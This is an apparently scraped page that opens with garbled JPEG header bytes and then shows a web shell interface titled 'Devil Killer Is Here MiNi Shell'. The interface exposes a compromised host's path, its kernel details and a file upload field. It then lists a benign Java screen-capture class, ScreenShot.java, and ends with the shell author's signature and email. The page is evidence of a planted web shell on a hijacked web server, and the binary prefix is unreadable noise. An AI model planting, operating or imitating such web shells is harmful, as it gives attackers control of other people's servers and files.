JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/sb_web/b1536/ipg.internationalpremierhn95830/LVCorp/plugin/jcapture/src/com/hammurapi/jcapture/

Linux boscustweb5003.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/sb_web/b1536/ipg.internationalpremierhn95830/LVCorp/plugin/jcapture/src/com/hammurapi/jcapture/ScreenShot.java

package com.hammurapi.jcapture;
 
import java.awt.AlphaComposite;
import java.awt.Dimension;
import java.awt.Graphics2D;
import java.awt.Point;
import java.awt.RenderingHints;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import java.nio.channels.FileChannel;
import java.util.ArrayList;
import java.util.List;
import java.util.ListIterator;
import java.util.concurrent.Callable;

import javax.imageio.ImageIO;

public class ScreenShot implements Callable<ScreenShot> {
	
	private final ScreenShot prev;
	private final int secNo;
	private ScreenShot next;
	final private long timeStamp;
	private int grabRange;
	private boolean transparency;
	private MappedImage image;
	private Point mousePosition;
	private double scale;
	private boolean border;
	private Dimension size;
	private FileChannel imageChannel;
	private String imageFormat;
	
	public ScreenShot(
			BufferedImage image, 
			Point mousePosition, 
			ScreenShot prev, 
			long timeStamp, 
			int grabRange, 
			boolean transparency, 
			boolean border, 
			double scale, 
			FileChannel imageChannel,
			String imageFormat) throws IOException {
		
		this.image = new MappedImage(image, imageFormat, imageChannel);
		this.mousePosition = mousePosition;
		this.prev = prev;
		if (prev==null) {
			secNo=0;
		} else {
			prev.next = this;
			secNo = prev.secNo+1;
		}
		this.timeStamp = timeStamp;
		this.grabRange = grabRange;
		this.transparency = transparency;
		this.scale = scale;		
		this.border = border;
		this.imageChannel = imageChannel;
		this.imageFormat = imageFormat;
	}
	
	public Point getMousePosition() {
		return mousePosition;
	}
	
	/**
	 * Calculates actual FPS.
	 * @return
	 */
	public float getFramesPerSecond() {
		long start = timeStamp;
		long end = 0;
		int length = 0;
		for (ScreenShot sibling = next; sibling!=null; sibling=sibling.next) {
			++length;
			end = sibling.timeStamp;
		}
		if (length==0) {
			return -1; // No way to tell.
		}
		return (float) (length * 1000.0)/(end - start);
	}
		
	private List<Region> regions;
	
	private long totalPixels;
	private long differentPixels;
	
	public double getDiffLevel() {
		return (double) differentPixels/(double) totalPixels;
	}
	
	/**
	 * If images are different more than diffThreshold, then the 
	 * entire screenshot shall be taken.
	 */
	private double diffThreshold = 0.7;
	
	/**
	 * Performs processing and returns self.
	 * Screenshot is structured as Callable to simplify live processing in a background thread.
	 */
	@Override
	public ScreenShot call() throws Exception {
		BufferedImage img = image.getImage();
    	// No petty scaling.
    	if (scale<0.99 || scale > 1.01) {
	    	BufferedImage scaled = new BufferedImage((int) (img.getWidth()*scale), (int) (img.getHeight()*scale), img.getType());
	    	Graphics2D g = scaled.createGraphics();
	    	g.setComposite(AlphaComposite.Src);
	    	g.setRenderingHint(RenderingHints.KEY_INTERPOLATION,RenderingHints.VALUE_INTERPOLATION_BILINEAR);
	    	g.setRenderingHint(RenderingHints.KEY_RENDERING,RenderingHints.VALUE_RENDER_QUALITY);
	    	g.setRenderingHint(RenderingHints.KEY_ANTIALIASING,RenderingHints.VALUE_ANTIALIAS_ON);
	    	g.drawImage(img, 0, 0, scaled.getWidth(), scaled.getHeight(), null);
	    	g.dispose();
	    	img = scaled;
	    	
	    	if (mousePosition!=null) {
	    		mousePosition = new Point((int) (mousePosition.x*scale), (int) (mousePosition.y*scale));
	    	}
    	}
		
		if (border) {
			Graphics2D ssg = img.createGraphics();
			ssg.setColor(java.awt.Color.GRAY);
			ssg.drawRect(0, 0, img.getWidth()-1, img.getHeight()-1);
		}
		
		size = new Dimension(image.getWidth(), image.getHeight());
		
		regions = new ArrayList<Region>();
		if (prev==null) {
			regions.add(new Region(image));
		} else {
			BufferedImage pimg = prev.image.getImage();
			for (int x=0, w=img.getWidth(); x<w; ++x) {
				Y: for (int y=0, h=img.getHeight(); y<h; ++y) {
					++totalPixels;
					int newPixel = img.getRGB(x, y);
					int oldPixel = pimg.getRGB(x, y);
					if (newPixel!=oldPixel) {
						++differentPixels;
						for (Region region: regions) {
							if (region.merge(x, y)) {
								continue Y;
							}
						}
						regions.add(new Region(img, imageFormat, imageChannel, pimg, transparency, x, y, grabRange));
					}
				}
			}
			
			if (getDiffLevel()>diffThreshold) {
				regions.clear();
				regions.add(new Region(image));
			} else {				
				// Merging adjacent regions
				for (int i=0; i<regions.size()-1; ++i) {
					ListIterator<Region> lit = regions.listIterator(i+1);
					Region master = regions.get(i);
					while (lit.hasNext()) {
						if (master.merge(lit.next())) {
							lit.remove();
						}
					}
				}
				
				for (Region region: regions) {
					region.grabImage();
				}
			}
	
			// Eligible for garbage collection
			if (prev!=null) {
				prev.image=null;
			}
		}
		
		// De-dup
		ListIterator<Region> oit = regions.listIterator();
		R: while (oit.hasNext()) {
			Region or = oit.next();
			
			if (oit.hasPrevious()) {
				ListIterator<Region> iit = regions.listIterator(oit.previousIndex());
				while (iit.hasPrevious()) {
					if (or.dedup(iit.previous())) {
						continue R;
					}
				}
			}
			
			for (ScreenShot sibling=prev; sibling!=null; sibling=sibling.prev) {
				for (Region sr: sibling.regions) {
					if (or.dedup(sr)) {
						continue R;
					}
				}
			}				
		}
		return this;
	}

	public void dump(File dir, String imageFormat) throws IOException {
		for (int i=0; i<regions.size(); ++i) {
			BufferedImage img = regions.get(i).getImage().getImage();
			if (img!=null) {
				ImageIO.write(img, imageFormat, new File(dir, "s_"+secNo+"_"+i+"."+imageFormat));
			}
		}
	}
	
	public List<Region> getRegions() {
		return regions;
	}
	
	public int getSecNo() {
		return secNo;
	}
	
	public boolean isActive() {
		if (!regions.isEmpty()) {
			return true;
		}
		if (mousePosition==null) {
			if (prev==null) {
				return false;
			}
			if (prev.getMousePosition()!=null) {
				return true;
			}
			return false;
		}
		
		if (prev==null) {
			return true;
		}
		if (!mousePosition.equals(prev.getMousePosition())) {
			return true;
		}
		return false;
	}
	
	public Dimension getSize() {
		return size;
	}

}

Creat By MiNi SheLL
Email: devilkiller@gmail.com